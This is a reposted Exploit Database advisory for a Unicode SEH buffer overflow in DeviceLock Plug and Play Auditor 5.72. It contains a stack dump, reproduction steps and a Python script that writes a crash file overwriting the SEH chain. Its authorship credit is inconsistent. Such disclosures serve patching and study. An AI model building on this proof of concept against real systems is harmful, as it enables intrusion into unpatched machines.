DeviceLock Plug and Play Auditor 5.72 – Unicode Buffer Overflow (SEH)

• Exploit Database
• 11 阅读

• 作者： hyp3rlinx
  日期： 2018-05-06
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/44590/

• # Exploit Title: DeviceLock Plug and Play Auditor 5.72 - Unicode Buffer Overflow (SEH)
  # Date: 2018-05-04
  # Exploit Author: Youssef mami
  # Vendor Homepage: https://www.devicelock.com/freeware.html/
  # Version: 5.72
  # CVE : CVE-2018-10655
  
  # Security Issue:
  
  DeviceLock Plug and Play Auditor "DLPnpAuditor.exe" is vulnerable to a Unicode type of buffer overflow, when supplied a specially crafted textfile using the "scan network" from file option.
  The buffer overload payload will get converted to unicode character encoding. Unicode support is used by applications for internationalization purposes allowing a consistent way to visually
  represent different character sets on most systems around the world. 
  
  e.g.
  
  Before our buffer overflow payload was put on the stack it was expanded with 0x00 so "RRRR" transforms to Unicode representation of "00520052"
  (52 is HEX for Ascii char R) containing 0's (NULL) values. Therefore, attempting to exploit the vulnerable program needs an unicode compatiable address
  (address with null bytes) and using encoding methods like "alpha2" encoder tool.
  
  Stack dump:
  
  SEH chain of main thread
  AddressSE handler
  0018EE00 ntdll.771B34DD
  0018FBD4 00520052
  00520052 A42F0000
  E5C1411F *** CORRUPT ENTRY ***
  
  EAX 00000000
  ECX 00520052
  EDX 771B34DD ntdll.771B34DD
  EBX 00000000
  ESP 0018EDEC
  EBP 0018EE0C
  ESI 00000000
  EDI 00000000
  EIP 00520052
  C 0ES 002B 32bit 0(FFFFFFFF)
  P 1CS 0023 32bit 0(FFFFFFFF)
  A 0SS 002B 32bit 0(FFFFFFFF)
  Z 1DS 002B 32bit 0(FFFFFFFF)
  S 0FS 0053 32bit 7EFDD000(FFF)
  T 0GS 002B 32bit 0(FFFFFFFF)
  D 0
  O 0LastErr ERROR_SUCCESS (00000000)
  EFL 00210246 (NO,NB,E,BE,NS,PE,GE,LE)
  ST0 empty g
  ST1 empty g
  ST2 empty g
  ST3 empty g
  ST4 empty g
  ST5 empty g
  ST6 empty g
  ST7 empty g
   3 2 1 0E S P U O Z D I
  FST 4020Cond 1 0 0 0Err 0 0 1 0 0 0 0 0(EQ)
  FCW 027FPrec NEAR,53Mask1 1 1 1 1 1
  
  
  
  # Exploit/POC:
  
  1) Create POC textfile
  2) Under File menu "Scan Network" choose "From file" under drop down menu.
  3) Choose the exploit file select the Scan "Domain" box and run it.
  
  #Unicode SEH Buffer Overflow
  #https://www.devicelock.com/download/
  
  PAYLOAD="A"*1036+"R"*8+"B"*56#Control SEH
  file=open("devicelock-bof.txt","w")
  file.write(PAYLOAD)
  file.close()
  
  print 'DeviceLock Plug and Play Auditor v5.72 (freeware)'
  print 'Exploit POC file created.'
  print 'hyp3rlinx'
  
  
  # Disclosure Timeline:
  Vendor Notification:April 17, 2018
  No reply
  Vendor Notification: April 22, 2018
  No reply
  May 6, 2018 : Public Disclosure